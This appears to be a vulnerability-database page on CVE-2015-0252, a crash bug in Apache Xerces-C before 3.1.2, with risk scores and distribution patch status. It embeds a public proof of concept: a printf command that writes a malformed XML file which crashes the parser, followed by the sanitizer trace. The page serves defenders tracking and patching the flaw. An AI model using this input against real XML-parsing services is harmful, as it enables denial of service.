CVE-2015-0252

medium

Published 2015-03-24 · Modified 2026-05-06

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CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.0

Description

internal/XMLReader.cpp in Apache Xerces-C before 3.1.2 allows remote attackers to cause a denial of service (segmentation fault and crash) via crafted XML data.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36906 dos linux text · 4 KB

beford · 2015-05-04

Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)

text exploit Source: Exploit-DB

# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC
# Date: 2015-05-03
# Exploit Author: beford
# Vendor Homepage: http://xerces.apache.org/#xerces-c
# Version: Versions prior to 3.1.2
# Tested on: Ubuntu 15.04
# CVE : CVE-2015-0252

Apache Xerces-C XML Parser Crashes on Malformed Input

I believe this to be the same issue that was reported on CVE-2015-0252,
posting this in case anyone is interested in reproducing it.

Original advisory:
https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt

$ printf "\xff\xfe\x00\x00\x3c" > file.xml

$ DOMPrint ./file.xml   # Ubuntu 15.04 libxerces-c3.1 package
Segmentation fault

$ ./DOMPrint ./file.xml # ASAN Enabled build
=================================================================
==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c
at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798
READ of size 1 at 0xb5d9d87c thread T0
    #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer()
xercesc/internal/XMLReader.cpp:1719
    #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*,
unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761
    #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer()
xercesc/internal/XMLReader.cpp:576
    #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short
const*) xercesc/internal/XMLReader.cpp:1223
    #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short
const*) xercesc/internal/ReaderMgr.hpp:385
    #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool)
xercesc/internal/XMLScanner.cpp:1608
    #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog()
xercesc/internal/XMLScanner.cpp:1244
    #7 0x8d69220 in
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner.cpp:206
    #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
const*) xercesc/internal/XMLScanner.cpp:400
    #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
xercesc/internal/XMLScanner.cpp:408
    #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
xercesc/parsers/AbstractDOMParser.cpp:601
    #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
    #12 0xb6f5272d in __libc_start_main
(/lib/i386-linux-gnu/libc.so.6+0x1872d)
    #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5)

0xb5d9d87c is located 0 bytes to the right of 163964-byte region
[0xb5d75800,0xb5d9d87c)
allocated by thread T0 here:
    #0 0xb72c3ae4 in operator new(unsigned int)
(/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4)
    #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int)
xercesc/internal/MemoryManagerImpl.cpp:40
    #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int,
xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68
    #3 0x8daaaa7 in
xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner2.cpp:1284
    #4 0x8d6912a in
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner.cpp:198
    #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
const*) xercesc/internal/XMLScanner.cpp:400
    #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
xercesc/internal/XMLScanner.cpp:408
    #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
xercesc/parsers/AbstractDOMParser.cpp:601
    #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
    #9 0xb6f5272d in __libc_start_main
(/lib/i386-linux-gnu/libc.so.6+0x1872d)

SUMMARY: AddressSanitizer: heap-buffer-overflow
xercesc/internal/XMLReader.cpp:1719
xercesc_3_1::XMLReader::refreshRawBuffer()

OS impact

Fedora Affected 3 releases

Version	Status	Fixed in
22	Affected	—
21	Affected	—
20	Affected	—

SUSE Affected 1 release

Version	Status	Fixed in
—	Affected	—

Debian Mixed 6 releases

Version	Status	Fixed in
trixie	Fixed	`3.1.1-5.1`
sid	Fixed	`3.1.1-5.1`
forky	Fixed	`3.1.1-5.1`
bullseye	Fixed	`3.1.1-5.1`
bookworm	Fixed	`3.1.1-5.1`
7.1	Affected	—

Application impact

Vendor	Product	Versions	Fixed
apache	xerces-c\+\+	`{"endIncluding":"3.1.1"}`

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.